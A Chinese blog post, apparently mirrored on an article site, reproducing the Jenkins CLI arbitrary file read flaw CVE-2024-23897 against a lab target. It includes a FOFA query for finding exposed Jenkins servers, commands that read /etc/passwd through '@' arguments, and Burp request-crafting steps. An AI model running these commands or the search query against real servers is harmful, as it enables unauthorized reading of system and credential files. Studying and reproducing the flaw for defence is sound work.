【漏洞复现】Jenkins文件读取漏洞(CVE-2024-23897)

2024-06-19 04:36

本文主要是介绍【漏洞复现】Jenkins文件读取漏洞(CVE-2024-23897),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

简介

jenkins是啥?
简单理解就是:一个开源的、用于方便代码管理、部署的基于web的平台,用于提高团队开发效率(生产力)。

img

Jenkins CLI 任意文件读取漏洞 CVE-2024-23897 是怎么回事?
Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,如果参数是以@开头,就会被认为是一个文件名,并且的将文件内容读取出来作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。

影响版本

版本<= Jenkins 2.441、版本<= LTS 2.426.2

fofa语法

 
  1. header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols"

img

漏洞复现

这里使用的是jenkins-cli.jar,我的java版本是11,运行jenkins-cli的java版本需要高一些,不然会报错版本问题,网上的脚本下载下来貌似不是特别好用……
jenkins-cli.jar如何获取?
访问jenkins的URL:http://xxx/jnlpJars/jenkins-cli.jar 可以下载到。

img

读取/etc/passwd[只能读取有限行]:

 
  1. java -jar jenkins-cli.jar -s http://xxx/ -http who-am-i "@/etc/passwd"java -jar jenkins-cli.jar -s http://xxx/ -http help "@/etc/passwd"

img

如果目标开启了“匿名用户可读”选项:

img

则可以使用 connect-node 命令或 reload-job 命令来读取文件全部内容:

img

网上工具使用效果:

img

漏洞复现靶场

因为靶场加了验证,所以需要在数据包头部中添加认证字段Authorization: Basic emthcTp6a2Fx

img

那么这样的话,我们需要对jenkins-cli.jar进行代理抓包,也就是对java.exe进行代理抓包:
可添加命令行:-Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080

img


但是,此时的话,我们并没有向头部添加认证字段,因此会出现401的情况:

img

此时还需要在burp中设置一下向请求包中自动添加认证字段:

img

再次访问就不会弹401了,这里本来应该会发送三个包,一个是访问首页的包,还有一个upload和一个download,但是我的burp只抓到两个,少了一个download包,很奇怪:

img

img

因此这里,先将包发送至reperter模块,手动构造一个download:

img

然后先发送一个download包,打开下载接口,准备接收数据,然后再发一个upload包,上传命令到jenkins进行执行,也就是说在repeter模块中需要准备两个包,一个upload和一个download(这个过程有点像反弹shell:先打开监听,然后再接收反弹到的shell):

img

img


再回到download包中,就可以看到读取到了flag:

img

   申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

这篇关于【漏洞复现】Jenkins文件读取漏洞(CVE-2024-23897)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1074023

相关文章

解决Java中基于GeoTools的Shapefile读取乱码的问题

《解决Java中基于GeoTools的Shapefile读取乱码的问题》本文主要讨论了在使用Java编程语言进行地理信息数据解析时遇到的Shapefile属性信息乱码问题,以及根据不同的编码设置进行属... 目录前言1、Shapefile属性字段编码的情况:一、Shp文件常见的字符集编码1、System编码

利用Python实现添加或读取Excel公式

《利用Python实现添加或读取Excel公式》Excel公式是数据处理的核心工具,从简单的加减运算到复杂的逻辑判断,掌握基础语法是高效工作的起点,下面我们就来看看如何使用Python进行Excel公... 目录python Excel 库安装Python 在 Excel 中添加公式/函数Python 读取

Python如何实现读取csv文件时忽略文件的编码格式

《Python如何实现读取csv文件时忽略文件的编码格式》我们再日常读取csv文件的时候经常会发现csv文件的格式有多种,所以这篇文章为大家介绍了Python如何实现读取csv文件时忽略文件的编码格式... 目录1、背景介绍2、库的安装3、核心代码4、完整代码1、背景介绍我们再日常读取csv文件的时候经常

Docker部署Jenkins持续集成(CI)工具的实现

《Docker部署Jenkins持续集成(CI)工具的实现》Jenkins是一个流行的开源自动化工具,广泛应用于持续集成(CI)和持续交付(CD)的环境中,本文介绍了使用Docker部署Jenkins... 目录前言一、准备工作二、设置变量和目录结构三、配置 docker 权限和网络四、启动 Jenkins

C#中读取XML文件的四种常用方法

《C#中读取XML文件的四种常用方法》Xml是Internet环境中跨平台的,依赖于内容的技术,是当前处理结构化文档信息的有力工具,下面我们就来看看C#中读取XML文件的方法都有哪些吧... 目录XML简介格式C#读取XML文件方法使用XmlDocument使用XmlTextReader/XmlTextWr

SQL注入漏洞扫描之sqlmap详解

《SQL注入漏洞扫描之sqlmap详解》SQLMap是一款自动执行SQL注入的审计工具,支持多种SQL注入技术,包括布尔型盲注、时间型盲注、报错型注入、联合查询注入和堆叠查询注入... 目录what支持类型how---less-1为例1.检测网站是否存在sql注入漏洞的注入点2.列举可用数据库3.列举数据库

Java读取InfluxDB数据库的方法详解

《Java读取InfluxDB数据库的方法详解》本文介绍基于Java语言,读取InfluxDB数据库的方法,包括读取InfluxDB的所有数据库,以及指定数据库中的measurement、field、... 首先,创建一个Java项目,用于撰写代码。接下来,配置所需要的依赖;这里我们就选择可用于与Infl

C#读取本地网络配置信息全攻略分享

《C#读取本地网络配置信息全攻略分享》在当今数字化时代,网络已深度融入我们生活与工作的方方面面,对于软件开发而言,掌握本地计算机的网络配置信息显得尤为关键,而在C#编程的世界里,我们又该如何巧妙地读取... 目录一、引言二、C# 读取本地网络配置信息的基础准备2.1 引入关键命名空间2.2 理解核心类与方法

Jenkins中自动化部署Spring Boot项目的全过程

《Jenkins中自动化部署SpringBoot项目的全过程》:本文主要介绍如何使用Jenkins从Git仓库拉取SpringBoot项目并进行自动化部署,通过配置Jenkins任务,实现项目的... 目录准备工作启动 Jenkins配置 Jenkins创建及配置任务源码管理构建触发器构建构建后操作构建任务

SpringBoot使用Apache POI库读取Excel文件的操作详解

《SpringBoot使用ApachePOI库读取Excel文件的操作详解》在日常开发中,我们经常需要处理Excel文件中的数据,无论是从数据库导入数据、处理数据报表,还是批量生成数据,都可能会遇到... 目录项目背景依赖导入读取Excel模板的实现代码实现代码解析ExcelDemoInfoDTO 数据传输